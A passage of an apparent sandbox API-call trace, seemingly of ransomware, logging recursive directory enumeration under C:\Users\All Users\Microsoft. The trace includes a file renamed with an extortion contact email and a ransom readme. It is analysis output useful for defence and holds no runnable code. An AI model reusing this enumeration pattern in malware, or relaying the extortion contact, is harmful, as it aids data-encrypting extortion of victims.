| out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.258] wcscmp (_String1="..", _String2=".") returned 1 [0169.258] wcscmp (_String1="..", _String2="..") returned 0 [0169.258] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0169.258] FindClose (in: hFindFile=0x2f7fbe0 | out: hFindFile=0x2f7fbe0) returned 1 [0169.258] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b0c8) returned 1 [0169.258] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa48a0) returned 1 [0169.258] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f604a0) returned 1 [0169.258] RtlExitUserThread (Status=0x0) Thread: id = 1809 os_tid = 0xf0c [0169.259] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa48a0 [0169.259] wcscpy (in: _Dest=0x2fa48a0, _Source="C:\\Users\\All Users\\Microsoft\\Diagnosis" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis" [0169.259] wcscat (in: _Dest=0x2fa48a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\" [0169.260] wcscat (in: _Dest=0x2fa48a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Diagnosis\\*") returned="C:\\Users\\All Users\\Microsoft\\Diagnosis\\*" [0169.260] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b0c8 [0169.260] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\*", lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.260] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b0c8) returned 1 [0169.260] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa48a0) returned 1 [0169.260] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f64ad0) returned 1 [0169.260] RtlExitUserThread (Status=0x0) Thread: id = 1810 os_tid = 0xf10 [0169.261] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x46) returned 0x2fa1a90 [0169.261] wcscpy (in: _Dest=0x2fa1a90, _Source="C:\\Users\\All Users\\Microsoft\\DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0169.261] wcscat (in: _Dest=0x2fa1a90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\") returned="C:\\Users\\All Users\\Microsoft\\DRM\\" [0169.261] wcscat (in: _Dest=0x2fa1a90, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\*") returned="C:\\Users\\All Users\\Microsoft\\DRM\\*" [0169.261] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b0c8 [0169.261] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fbe0 [0169.262] wcscmp (_String1=".", _String2=".") returned 0 [0169.262] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.262] wcscmp (_String1="..", _String2=".") returned 1 [0169.262] wcscmp (_String1="..", _String2="..") returned 0 [0169.262] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0169.262] wcscmp (_String1="Server", _String2=".") returned 1 [0169.262] wcscmp (_String1="Server", _String2="..") returned 1 [0169.262] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f88b00 [0169.262] wcscpy (in: _Dest=0x2f88b00, _Source="C:\\Users\\All Users\\Microsoft\\DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0169.262] wcscat (in: _Dest=0x2f88b00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\") returned="C:\\Users\\All Users\\Microsoft\\DRM\\" [0169.262] wcscat (in: _Dest=0x2f88b00, _Source="Server" | out: _Dest="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server" [0171.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0171.041] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2f9b0c8 | out: lpFindFileData=0x2f9b0c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0171.041] FindClose (in: hFindFile=0x2f7fbe0 | out: hFindFile=0x2f7fbe0) returned 1 [0171.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b0c8) returned 1 [0171.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1a90) returned 1 [0171.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0ff0) returned 1 [0171.041] RtlExitUserThread (Status=0x0) Thread: id = 1811 os_tid = 0xf14 [0169.263] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4000 [0169.263] wcscpy (in: _Dest=0x2fa4000, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0169.263] wcscat (in: _Dest=0x2fa4000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\" [0169.263] wcscat (in: _Dest=0x2fa4000, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*" [0169.263] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b330 [0169.263] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fea0 [0169.310] wcscmp (_String1=".", _String2=".") returned 0 [0169.310] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.310] wcscmp (_String1="..", _String2=".") returned 1 [0169.310] wcscmp (_String1="..", _String2="..") returned 0 [0169.310] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0169.310] wcscmp (_String1="Views", _String2=".") returned 1 [0169.310] wcscmp (_String1="Views", _String2="..") returned 1 [0169.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87a90 [0169.310] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0169.310] wcscat (in: _Dest=0x2f87a90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\" [0169.310] wcscat (in: _Dest=0x2f87a90, _Source="Views" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" [0171.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0171.039] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0171.039] FindClose (in: hFindFile=0x2f7fea0 | out: hFindFile=0x2f7fea0) returned 1 [0171.040] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b330) returned 1 [0171.040] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4000) returned 1 [0171.040] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa090) returned 1 [0171.040] RtlExitUserThread (Status=0x0) Thread: id = 1812 os_tid = 0xf18 [0169.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4060 [0169.310] wcscpy (in: _Dest=0x2fa4060, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0169.310] wcscat (in: _Dest=0x2fa4060, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" [0169.310] wcscat (in: _Dest=0x2fa4060, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*" [0169.311] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b598 [0169.311] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7ff20 [0169.312] wcscmp (_String1=".", _String2=".") returned 0 [0169.312] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.312] wcscmp (_String1="..", _String2=".") returned 1 [0169.312] wcscmp (_String1="..", _String2="..") returned 0 [0169.312] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INT", cAlternateFileName="")) returned 1 [0169.312] wcscmp (_String1="INT", _String2=".") returned 1 [0169.312] wcscmp (_String1="INT", _String2="..") returned 1 [0169.312] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87b60 [0169.312] wcscpy (in: _Dest=0x2f87b60, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0169.313] wcscat (in: _Dest=0x2f87b60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" [0169.313] wcscat (in: _Dest=0x2f87b60, _Source="INT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\INT" [0171.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0171.037] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1 [0171.037] wcscmp (_String1="production", _String2=".") returned 1 [0171.037] wcscmp (_String1="production", _String2="..") returned 1 [0171.037] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x68) returned 0x2f64430 [0171.037] wcscpy (in: _Dest=0x2f64430, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0171.037] wcscat (in: _Dest=0x2f64430, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" [0171.037] wcscat (in: _Dest=0x2f64430, _Source="production" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production" [0171.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f64430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c8 [0171.038] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 0 [0171.038] FindClose (in: hFindFile=0x2f7ff20 | out: hFindFile=0x2f7ff20) returned 1 [0171.038] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b598) returned 1 [0171.038] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4060) returned 1 [0171.038] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa9f70) returned 1 [0171.038] RtlExitUserThread (Status=0x0) Thread: id = 1813 os_tid = 0xf1c [0169.313] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2f88bb0 [0169.313] wcscpy (in: _Dest=0x2f88bb0, _Source="C:\\Users\\All Users\\Microsoft\\MapData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MapData") returned="C:\\Users\\All Users\\Microsoft\\MapData" [0169.313] wcscat (in: _Dest=0x2f88bb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MapData\\") returned="C:\\Users\\All Users\\Microsoft\\MapData\\" [0169.313] wcscat (in: _Dest=0x2f88bb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MapData\\*") returned="C:\\Users\\All Users\\Microsoft\\MapData\\*" [0169.313] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b800 [0169.313] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MapData\\*", lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fc20 [0169.313] wcscmp (_String1=".", _String2=".") returned 0 [0169.314] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.314] wcscmp (_String1="..", _String2=".") returned 1 [0169.314] wcscmp (_String1="..", _String2="..") returned 0 [0169.314] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0169.314] FindClose (in: hFindFile=0x2f7fc20 | out: hFindFile=0x2f7fc20) returned 1 [0169.314] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b800) returned 1 [0169.314] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88bb0) returned 1 [0169.314] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c140) returned 1 [0169.314] RtlExitUserThread (Status=0x0) Thread: id = 1814 os_tid = 0xf20 [0169.315] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x44) returned 0x2fa1bd0 [0169.315] wcscpy (in: _Dest=0x2fa1bd0, _Source="C:\\Users\\All Users\\Microsoft\\MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0169.315] wcscat (in: _Dest=0x2fa1bd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0169.315] wcscat (in: _Dest=0x2fa1bd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\*") returned="C:\\Users\\All Users\\Microsoft\\MF\\*" [0169.315] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b800 [0169.315] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x84e4d036, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84e4d036, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fc20 [0169.315] wcscmp (_String1=".", _String2=".") returned 0 [0169.315] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x84e4d036, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84e4d036, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.315] wcscmp (_String1="..", _String2=".") returned 1 [0169.315] wcscmp (_String1="..", _String2="..") returned 0 [0169.316] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x84d8e3c8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0169.316] wcscmp (_String1="Active.GRL.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0169.316] wcscmp (_String1="Active.GRL.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0169.316] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x98) returned 0x2fa2ef8 [0169.316] wcscpy (in: _Dest=0x2fa2ef8, _Source="C:\\Users\\All Users\\Microsoft\\MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0169.316] wcscat (in: _Dest=0x2fa2ef8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0169.316] wcscat (in: _Dest=0x2fa2ef8, _Source="Active.GRL.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.mailto[kokoklock@cock.li].d0e731" [0171.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2ef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0171.034] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d8e3c8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84d8e3c8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84d8e3c8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0171.034] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0171.034] wcscmp 